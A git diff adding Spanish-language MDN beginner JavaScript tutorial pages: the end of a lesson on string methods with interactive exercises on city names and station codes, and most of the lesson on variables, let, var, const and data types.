+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar cities = [\'lonDon\', \'ManCHESTer\', \'BiRmiNGHAM\', \'liVERpoOL\'];\n\nfor(var i = 0; i &lt; cities.length; i++) {\n var input = cities[i];\n var lower = input.toLowerCase();\n var firstLetter = lower.slice(0,1);\n var capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());\n var result = capitalized;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n\n}';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', '100%', 550, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Creando_nuevas_cadenas_de_partes_viejas">Creando nuevas cadenas de partes viejas</h3>
+
+<p>En este último ejercicio, la matríz contiene un conjunto de cadenas que contienen información sobre estaciones de tren en el Norte de Inglaterra. Las cadenas son elementos de datos que contienen el código de estación de tres letras, seguidos de más datos legibles por máquina, seguidos de un punto y coma, seguidos por el nombre de la estación legible por humanos. Por ejemplo:</p>
+
+<pre class="notranslate">MAN675847583748sjt567654;Manchester Piccadilly</pre>
+
+<p>Queremos extraer el código y el nombre de la estación, y juntarlos en una cadena con la siguiente estructura:</p>
+
+<pre class="notranslate">MAN: Manchester Piccadilly</pre>
+
+<p>Recomendamos hacerlo así:</p>
+
+<ol>
+ <li>Extrae las tres letras del código de estación y almacénalo en una nueva variable.</li>
+ <li>Encuentra el número de índice de caracter del punto y coma.</li>
+ <li>Extrae el nombre de la estación legible por humanos utilizando el número de índice de caracter del punto y coma a modo de referencia y guardalo en una nueva variable.</li>
+ <li>Concatenar las dos nuevas variables y un literal de cadena para hacer la cadena final.</li>
+ <li>Cambia el valor de la variable de <code>result</code> a igual a la cadena final, no a  <code>input</code>.</li>
+</ol>
+
+<div class="hidden">
+<h6 id="Playable_code_3">Playable code 3</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 125px;"&gt;
+
+&lt;ul&gt;
+
+&lt;/ul&gt;
+
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="playable-code" style="height: 285px; width: 95%"&gt;
+var list = document.querySelector('.output ul');
+list.innerHTML = '';
+var stations = ['MAN675847583748sjt567654;Manchester Piccadilly',
+                'GNF576746573fhdg4737dh4;Greenfield',
+                'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street',
+                'SYB4f65hf75f736463;Stalybridge',
+                'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield'];
+
+for (var i = 0; i &lt; stations.length; i++) {
+  var input = stations[i];
+  // write your code just below here
+
+  var result = input;
+  var listItem = document.createElement('li');
+  listItem.textContent = result;
+  list.appendChild(listItem);
+}
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar stations = [\'MAN675847583748sjt567654;Manchester Piccadilly\',\n \'GNF576746573fhdg4737dh4;Greenfield\',\n \'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street\',\n \'SYB4f65hf75f736463;Stalybridge\',\n \'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield\'];\n\nfor(var i = 0; i &lt; stations.length; i++) {\n var input = stations[i];\n var code = input.slice(0,3);\n var semiC = input.indexOf(\';\');\n var name = input.slice(semiC + 1);\n var result = code + \': \' + name;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n}';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_3', '100%', 585, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>No puedes negar el hecho de que ser capaz de manejar palablas y oraciones en la programación es muy importante — especialmente en JavaScript, ya que los sitios web tratan sobre la comunicación con las personas. Este artículo te ha proporcionado los conceptos básicos que necesitas saber sobre la manipulación de cadenas por ahora. Esto debería servirte bien a medida que abordas temas más complejos en el futuro. A continuación, vamos a ver el último tipo importante de datos en el que necesitamos enfocarnos en el corto plazo — matrices.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/Qu%C3%A9_es_JavaScript">¿Qué es JavaScript?</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/A_first_splash">Un primer acercamiento a JavaScript</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/What_went_wrong">¿Qué salió mal? Corrigiendo JavaScript</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/Variables">Guardando la información que necesitas— Variables</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/Matem%C3%A1ticas">Matemáticas básicas en JavaScript — números y operadores</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/Strings">Manejo de texto — cadenas en JavaScript</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/Useful_string_methods">Métodos útiles para el manejo de cadenas</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/Arrays">Arreglos</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Silly_story_generator" rel="nofollow">Evaluaciones: Generador de historias absurdas</a></li>
+</ul>
diff --git a/files/es/learn/javascript/first_steps/variables/index.html b/files/es/learn/javascript/first_steps/variables/index.html
new file mode 100644
index 0000000000..728ad187aa
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/variables/index.html
@@ -0,0 +1,340 @@
+---
+title: Almacenando la información que necesitas - Variables
+slug: Learn/JavaScript/First_steps/Variables
+tags:
+  - Arreglos
+  - Booleanos
+  - Booleans
+  - JavaScript
+  - Numeros
+  - Objetos
+  - Variables
+  - cadenas de texto
+  - 'l10n:priority'
+  - strings
+translation_of: Learn/JavaScript/First_steps/Variables
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">Después de leer los últimos artículos, deberías saber qué es JavaScript, qué puede hacer por ti, cómo usarlo junto con otras tecnologías web y cómo se ven sus características principales desde un alto nivel. En este artículo, llegaremos a los conceptos básicos reales, y veremos cómo trabajar con los bloques de construcción más básicos de JavaScript — Variables.</p>
+
+<table class="learn-box">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, comprensión básica de HTML y CSS, comprensión de lo que es JavaScript.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Familiarizarte con los conceptos básicos de las variables de JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Herramientas_que_necesitas">Herramientas que necesitas</h2>
+
+<p>A lo largo de este artículo, se te pedirá que escribas líneas de código para probar tu comprensión del contenido. Si estás utilizando un navegador de escritorio, el mejor lugar para escribir tu código de ejemplo es la consola JavaScript de tu navegador (consulta <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">¿Qué son las herramientas para el desarrollador del navegador?</a> para obtener más información sobre cómo acceder a esta herramienta).</p>
+
+<h2 id="¿Qué_es_una_variable">¿Qué es una variable?</h2>
+
+<p>Una variable es un contenedor para un valor, como un número que podríamos usar en una suma, o una cadena que podríamos usar como parte de una oración. Pero una cosa especial acerca de las variables es que los valores que contienen pueden cambiar. Veamos un sencillo ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;button&gt;Presióname&lt;/button&gt;</pre>
+
+<pre class="brush: js notranslate">const button = document.querySelector('button');
+
+button.onclick = function() {
+  let name = prompt('¿Cuál es tu nombre?');
+  alert('¡Hola ' + name + ', encantado de verte!');
+}</pre>
+
+<p>{{ EmbedLiveSample('What_is_a_variable', '100%', 50, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>En este ejemplo, al presionar el botón se ejecutan un par de líneas de código. La primera línea muestra un cuadro en la pantalla que pide al lector que ingrese su nombre y luego almacena el valor en una variable. La segunda línea muestra un mensaje de bienvenida que incluye su nombre, tomado del valor de la variable.</p>
+
+<p>Para entender por qué esto es tan útil, pensemos en cómo escribiríamos este ejemplo sin usar una variable. Terminaría luciendo algo como esto:</p>
+
+<pre class="example-bad notranslate">let name = prompt('¿Cuál es tu nombre?');
+
+if (name === 'Adam') {
+  alert('¡Hola Adam, encantado de verte!');
+} else if (name === 'Alan') {
+  alert('¡Hola Alan, encantado de verte!');
+} else if (name === 'Bella') {
+  alert('¡Hola Bella, encantado de verte!');
+} else if (name === 'Bianca') {
+  alert('¡Hola Bianca, encantado de verte!');
+} else if (name === 'Chris') {
+  alert('¡Hola Chris, encantado de verte!');
+}
+
+// ... y así sucesivamente ...</pre>
+
+<p>Es posible que (¡todavía!) no comprendas completamente la sintaxis que estamos usando, Pero deberías poder hacerte una idea — si no tuviéramos variables disponibles, tendríamos que implementar un bloque de código gigante que verificara cuál era el nombre ingresado, y luego muestra el mensaje apropiado para cualquier nombre. Obviamente, esto realmente es ineficiente (el código es mucho más grande, incluso para solo cinco opciones), y simplemente no funcionaría — no podrías almacenar todas las opciones posibles.</p>
+
+<p>Las variables simplemente tienen sentido y, a medida que aprendas más sobre JavaScript, comenzarán a convertirse en una segunda naturaleza.</p>
+
+<p>Otra cosa especial acerca de las variables es que pueden contener casi cualquier cosa, no solo cadenas y números. Las variables también pueden contener datos complejos e incluso funciones completas para hacer cosas asombrosas. Aprenderás más sobre esto a medida que avances.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Decimos que las variables contienen valores. Ésta es una importante distinción que debemos reconocer. Las variables no son los valores en sí mismos; son contenedores de valores. Puedes pensar en ellas como pequeñas cajas de cartón en las que puedes guardar cosas.</p>
+</div>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13506/boxes.png" style="display: block; height: 436px; margin: 0px auto; width: 1052px;"></p>
+
+<h2 id="Declarar_una_variable">Declarar una variable</h2>
+
+<p>Para usar una variable, primero debes crearla — precisamente, a esto lo llamamos declarar la variable. Para hacerlo, escribimos la palabra clave <code>var</code> o <code>let</code> seguida del nombre con el que deseas llamar a tu variable:</p>
+
+<pre class="brush: js notranslate">let myName;
+let myAge;</pre>
+
+<p>Aquí estamos creando dos variables llamadas <code>myName</code> y <code>myAge</code>. Intenta escribir estas líneas en la consola de tu navegador web. Después de eso, intenta crear una variable (o dos) eligiendo tú su nombre.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: En JavaScript, todas las instrucciones en el código deben terminar con un punto y coma (<code>;</code>) — tu código puede funcionar correctamente para líneas individuales, pero probablemente no lo hará cuando estés escribiendo varias líneas de código juntas. Trata de adquirir el hábito de incluirlo.</p>
+</div>
+
+<p>Puedes probar si estos valores existen ahora en el entorno de ejecución escribiendo solo el nombre de la variable, p. ej.</p>
+
+<pre class="brush: js notranslate">myName;
+myAge;</pre>
+
+<p>Actualmente no tienen ningún valor; son contenedores vacíos. Cuando ingreses los nombres de las variables, deberías obtener devuelto un valor <code>undefined</code>. Si no existen, recibirás un mensaje de error; intenta escribir</p>
+
+<pre class="brush: js notranslate">scoobyDoo;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: No confundas una variable que existe pero no tiene un valor definido, con una variable que no existe en absoluto — son cosas muy diferentes. En la analogía de cajas que viste arriba, no existir significaría que no hay una caja (variable) para guardar un valor. Ningún valor definido significaría que HAY una caja, pero no tiene ningún valor dentro de ella.</p>
+</div>
+
+<h2 id="Iniciar_una_variable">Iniciar una variable</h2>
+
+<p>Una vez que hayas declarado una variable, la puedes iniciar con un valor. Para ello, escribe el nombre de la variable, seguido de un signo igual (<code>=</code>), seguido del valor que deseas darle. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">myName = 'Chris';
+myAge = 37;</pre>
+
+<p>Intenta volver a la consola ahora y escribe estas líneas. Deberías ver el valor que le has asignado a la variable devuelto en la consola para confirmarlo, en cada caso. Nuevamente, puedes devolver los valores de tus variables simplemente escribiendo su nombre en la consola; inténtalo nuevamente:</p>
+
+<pre class="brush: js notranslate">myName;
+myAge;</pre>
+
+<p>Puedes declarar e iniciar una variable al mismo tiempo, así:</p>
+
+<pre class="brush: js notranslate">let myDog = 'Rover';</pre>
+
+<p>Esto probablemente es lo que harás la mayor parte del tiempo, ya que es más rápido que realizar las dos acciones en dos líneas separadas.</p>
+
+<h2 id="Diferencia_entre_var_y_let">Diferencia entre <code>var</code> y <code>let</code></h2>
+
+<p>En este punto, puedes estar pensando "¿por qué necesitamos dos palabras clave para definir variables? ¿Por qué <code>var</code> <em>y</em> <code>let</code>?".</p>
+
+<p>Las razones son algo históricas. Cuando se creó JavaScript por primera vez, solo existía <code>var</code>. Esto básicamente funciona bien en la mayoría de los casos, pero tiene algunos problemas en la forma en que trabaja — su diseño a veces puede ser confuso o francamente molesto. Entonces, se creó <code>let</code> en versiones modernas de JavaScript, una nueva palabra clave para crear variables que funciona de manera algo diferente a <code>var</code>, solucionando sus problemas en el proceso.</p>
+
+<p>A continuación se explican un par de diferencias simples. No abordaremos todas las diferencias ahora, pero comenzarás a descubrirlas a medida que aprendas más sobre JavaScript (si realmente deseas leer sobre ellas ahora, no dudes en consultar {{jsxref("Sentencias/let", "let")}} en nuestra página de referencia.</p>
+
+<p>Para empezar, si escribes un programa JavaScript de varias líneas que declara e inicia una variable, puedes declarar una variable con <code>var</code> después de iniciarla y seguirá funcionando. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">myName = 'Chris';
+
+function logName() {
+  console.log(myName);
+}
+
+logName();
+
+var myName;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Esto no funcionará al escribir líneas individuales en una consola de JavaScript, solo cuando se ejecutan varias líneas de JavaScript en un documento web.</p>
+</div>
+
+<p>Esto funciona debido a la <strong>elevación</strong> — lee {{jsxref("Sentencias/var", "Elevación de variables", "#Elevación_de_variables")}} para obtener más detalles sobre el tema.</p>
+
+<p>La elevación (<code>hoisting</code>) ya no funciona con <code>let</code>. Si cambiamos <code>var</code> a <code>let</code> en el ejemplo anterior, fallaría con un error. Esto es bueno — declarar una variable después de iniciarla resulta en un código confuso y más difícil de entender.</p>
+
+<p>En segundo lugar, cuando usas <code>var</code>, puedes declarar la misma variable tantas veces como desees, pero con <code>let</code> no puedes. Lo siguiente funcionaría:</p>
+
+<pre class="brush: js notranslate">var myName = 'Chris';
+var myName = 'Bob';</pre>
+
+<p>Pero lo siguiente arrojaría un error en la segunda línea:</p>
+
+<pre class="brush: js notranslate">let myName = 'Chris';
+let myName = 'Bob';</pre>
+
+<p>Tendrías que hacer esto en su lugar:</p>
+
+<pre class="brush: js notranslate">let myName = 'Chris';
+myName = 'Bob';</pre>
+
+<p>Nuevamente, esta es una sensata decisión del lenguaje. No hay razón para volver a declarar las variables — solo hace que las cosas sean más confusas.</p>
+
+<p>Por estas y otras razones, se recomienda utilizar <code>let</code> tanto como sea posible en tu código, en lugar de <code>var</code>. No hay ninguna razón para usar <code>var</code>, a menos que necesites admitir versiones antiguas de Internet Explorer con tu código (no es compatible con <code>let</code> hasta la versión 11; Edge el moderno navegador de Windows admite <code>let</code> perfectamente).</p>
+
+<h2 id="Actualizar_una_variable">Actualizar una variable</h2>
+
+<p>Una vez que una variable se ha iniciado con un valor, puedes cambiar (o actualizar) ese valor simplemente dándole un valor diferente. Intenta ingresar las siguientes líneas en tu consola:</p>
+
+<pre class="brush: js notranslate">myName = 'Bob';
+myAge = 40;</pre>
+
+<h3 id="Un_consejo_sobre_las_reglas_de_nomenclatura_de_variables">Un consejo sobre las reglas de nomenclatura de variables</h3>
+
+<p>Puedes llamar a una variable prácticamente como quieras, pero existen limitaciones. En general, debes limitarte a usar caracteres latinos (0-9, a-z, A-Z) y el caracter de subrayado.</p>
+
+<ul>
+ <li>No debes usar otros caracteres porque pueden causar errores o ser difíciles de entender para una audiencia internacional.</li>
+ <li>No use guiones bajos al comienzo de los nombres de las variables — esto se usa en ciertas construcciones de JavaScript para significar cosas específicas, por lo que puede resultar confuso.</li>
+ <li>No uses números al comienzo de las variables. Esto no está permitido y provoca un error.</li>
+ <li>Una convención segura a seguir es la llamada <a href="https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms">"minúscula mayúsculas intercaladas"</a>, en la que se juntan varias palabras con minúsculas para la primera palabra completa y luego en mayúsculas las primeras letras de las siguientes palabras. Así lo hemos estado haciendo en nuestros nombres de variables en el artículo hasta ahora.</li>
+ <li>Haz que los nombres de las variables sean intuitivos, para que describan los datos que contienen. No uses solo letras/números o frases grandes y largas.</li>
+ <li>Las variables distinguen entre mayúsculas y minúsculas — por lo tanto <code>myage</code> es una variable diferente de <code>myAge</code>.</li>
+ <li>Un último punto: también debes evitar el uso de palabras reservadas de JavaScript como nombres de variables — con esto, nos referimos a las palabras que componen la sintaxis real de JavaScript. Por lo tanto, no puedes usar palabras como <code>var</code>, <code>function</code>, <code>let</code> y <code>for</code> como nombres de variables. Los navegadores las reconocen como elementos de código diferentes, por lo que obtendrás errores.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar una lista bastante completa de palabras clave reservadas que debes evitar en {{jsxref("Gramática_léxica", "Gramática léxica — Palabras clave", "#Palabras_clave")}}.</p>
+</div>
+
+<p>Ejemplos de buenos nombres:</p>
+
+<pre class="example-good notranslate">age
+myAge
+init
+initialColor
+finalOutputValue
+audio1
+audio2</pre>
+
+<p>Ejemplos de nombres incorrectos:</p>
+
+<pre class="example-bad notranslate">1
+a
+_12
+myage
+MYAGE
+var
+Document
+skjfndskjfnbdskjfb
+thisisareallylongstupidvariablenameman</pre>
+
+<p>Ahora, intenta crear algunas variables más, con la guía anterior en mente.</p>
+
+<h2 id="Tipo_de_las_variables">Tipo de las variables</h2>
+
+<p>Hay algunos tipos de datos diferentes que podemos almacenar en variables. En esta sección, los describiremos brevemente, luego, en artículos futuros, aprenderás más detalles.</p>
+
+<p>Hasta ahora hemos analizado los dos primeros, pero hay otros.</p>
+
+<h3 id="Números">Números</h3>
+
+<p>Puedes almacenar números en variables, ya sea números enteros como 30 (también llamados enteros — "<code>integer</code>") o números decimales como 2.456 (también llamados números flotantes o de coma flotante — "<code>number</code>"). No es necesario declarar el tipo de las variables en JavaScript, a diferencia de otros lenguajes de programación. Cuando le das a una variable un valor numérico, no incluye comillas:</p>
+
+<pre class="brush: js notranslate">let myAge = 17;</pre>
+
+<h3 id="Cadenas_de_caracteres_Strings">Cadenas de caracteres (<code>String</code>s)</h3>
+
+<p>Las <code>string</code>s (cadenas) son piezas de texto. Cuando le das a una variable un valor de cadena, debes encerrarlo entre comillas simples o dobles; de lo contrario, JavaScript intenta interpretarlo como otro nombre de variable.</p>
+
+<pre class="brush: js notranslate">let dolphinGoodbye = 'Hasta luego y gracias por todos los peces';</pre>
+
+<h3 id="Booleanos">Booleanos</h3>
+
+<p>Los booleanos son valores verdadero/falso — pueden tener dos valores, <code>true</code> o <code>false</code>. Estos, generalmente se utilizan para probar una condición, después de lo cual se ejecuta el código según corresponda. Así, por ejemplo, un caso simple sería:</p>
+
+<pre class="brush: js notranslate">let iAmAlive = true;</pre>
+
+<p>Mientras que en realidad se usaría más así:</p>
+
+<pre class="brush: js notranslate">let test = 6 &lt; 3;</pre>
+
+<p>Aquí se está usando el operador "menor que" (<code>&lt;</code>) para probar si 6 es menor que 3. Como era de esperar, devuelve <code>false</code>, ¡porque 6 no es menor que 3! Aprenderás mucho más sobre estos operadores más adelante en el curso.</p>
+
+<h3 id="Arreglos">Arreglos</h3>
+
+<p>Un arreglo es un objeto único que contiene múltiples valores encerrados entre corchetes y separados por comas. Intenta ingresar las siguientes líneas en tu consola:</p>
+
+<pre class="brush: js notranslate">let myNameArray = ['Chris', 'Bob', 'Jim'];
+let myNumberArray = [10, 15, 40];</pre>
+
+<p>Una vez que se definen estos arreglos, puedes acceder a cada valor por su ubicación dentro del arreglo. Prueba estas líneas:</p>
+
+<pre class="brush: js notranslate">myNameArray[0]; // debería devolver 'Chris'
+myNumberArray[2]; // debe devolver 40</pre>
+
+<p>Los corchetes especifican un valor de índice correspondiente a la posición del valor que deseas devolver. Posiblemente hayas notado que los arreglos en JavaScript tienen índice cero: el primer elemento está en el índice 0.</p>
+
+<p>Aprenderás mucho más sobre los arreglos en <a href="/es/docs/Learn/JavaScript/First_steps/Arrays">un futuro artículo</a>.</p>
+
+<h3 id="Objetos">Objetos</h3>
+
+<p>En programación, un objeto es una estructura de código que modela un objeto de la vida real. Puedes tener un objeto simple que represente una caja y contenga información sobre su ancho, largo y alto, o podrías tener un objeto que represente a una persona y contenga datos sobre su nombre, estatura, peso, qué idioma habla, cómo saludarlo, y más.</p>
+
+<p>Intenta ingresar la siguiente línea en tu consola:</p>
+
+<pre class="brush: js notranslate">let dog = { name : 'Spot', breed : 'Dalmatian' };</pre>
+
+<p>Para recuperar la información almacenada en el objeto, puedes utilizar la siguiente sintaxis:</p>
+
+<pre class="brush: js notranslate">dog.name</pre>
+
+<p>Por ahora, no veremos más objetos. Puedes obtener más información sobre ellos en <a href="/es/docs/Learn/JavaScript/Objects">un futuro módulo</a>.</p>
+
+<h2 id="Tipado_dinámico">Tipado dinámico</h2>
+
+<p>JavaScript es un "lenguaje tipado dinámicamente", lo cual significa que, a diferencia de otros lenguajes, no es necesario especificar qué tipo de datos contendrá una variable (números, cadenas, arreglos, etc.).</p>
+
+<p>Por ejemplo, si declaras una variable y le das un valor entre comillas, el navegador trata a la variable como una cadena (<code>string</code>):</p>
+
+<pre class="brush: js notranslate">let myString = 'Hello';</pre>
+
+<p>Incluso si el valor contiene números, sigue siendo una cadena, así que ten cuidado:</p>
+
+<pre class="brush: js notranslate">let myNumber = '500'; // Vaya, esto sigue siendo una cadena
+typeof myNumber;
+myNumber = 500; // mucho mejor — ahora este es un número
+typeof myNumber;</pre>
+
+<p>Intenta ingresar las cuatro líneas anteriores en tu consola una por una y ve cuáles son los resultados. Notarás que estamos usando un operador especial llamado {{jsxref("Operadores/typeof", "typeof")}} — esto devuelve el tipo de datos de la variable que escribes después. La primera vez que se llama, debe devolver <code>string</code>, ya que en ese punto la variable <code>myNumber</code> contiene una cadena, <code>'500'</code>. Échale un vistazo y ve qué devuelve la segunda vez que lo llamas.</p>
+
+<h2 id="Constantes_en_JavaScript">Constantes en JavaScript</h2>
+
+<p>Muchos lenguajes de programación tienen el concepto de una <em>constante</em> — un valor que, una vez declarado no se puede cambiar. Hay muchas razones por las que querrías hacer esto, desde la seguridad (si un script de un tercero cambia dichos valores, podría causar problemas) hasta la depuración y la comprensión del código (es más difícil cambiar accidentalmente valores que no se deben cambiar y estropear cosas claras).</p>
+
+<p>En los primeros días de JavaScript, las constantes no existían. En JavaScript moderno, tenemos la palabra clave <code>const</code>, que nos permite almacenar valores que nunca se pueden cambiar:</p>
+
+<pre class="brush: js notranslate">const daysInWeek = 7<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number">;
+const hoursInDay = 24;</span></span></span></span></pre>
+
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number"><code>const</code> funciona exactamente de la misma manera que <code>let</code>, excepto que a <code>const</code> no le puedes dar un nuevo valor. En el siguiente ejemplo, la segunda línea arrojará un error:</span></span></span></span></p>
+
+<pre class="brush: js notranslate">const daysInWeek = 7<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number">;
+daysInWeek = 8;</span></span></span></span></pre>
+
+<h2 id="¡Pon_a_prueba_tus_habilidades!">¡Pon a prueba tus habilidades!</h2>
+
+<p>Has llegado al final de este artículo, pero ¿puedes recordar la información más importante? Puedes encontrar más pruebas para verificar que has retenido esta información antes de continuar — consulta <a href="/es/docs/Learn/JavaScript/First_steps/Test_your_skills:_variables">Pon a prueba tus habilidades: variables</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>A estas alturas, deberías saber bastante sobre las variables de JavaScript y cómo crearlas. En el próximo artículo, nos centraremos en los números con más detalle, y veremos cómo hacer matemáticas básicas en JavaScript.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Maths", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_is_JavaScript">¿Qué es JavaScript?</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/A_first_splash">Un primer acercamiento a JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_went_wrong">¿Qué salió mal? Solución de problemas de JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Variables">Almacenar la información que necesitas — Variables</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Math">Matemáticas básicas en JavaScript — números y operadores</a></li>
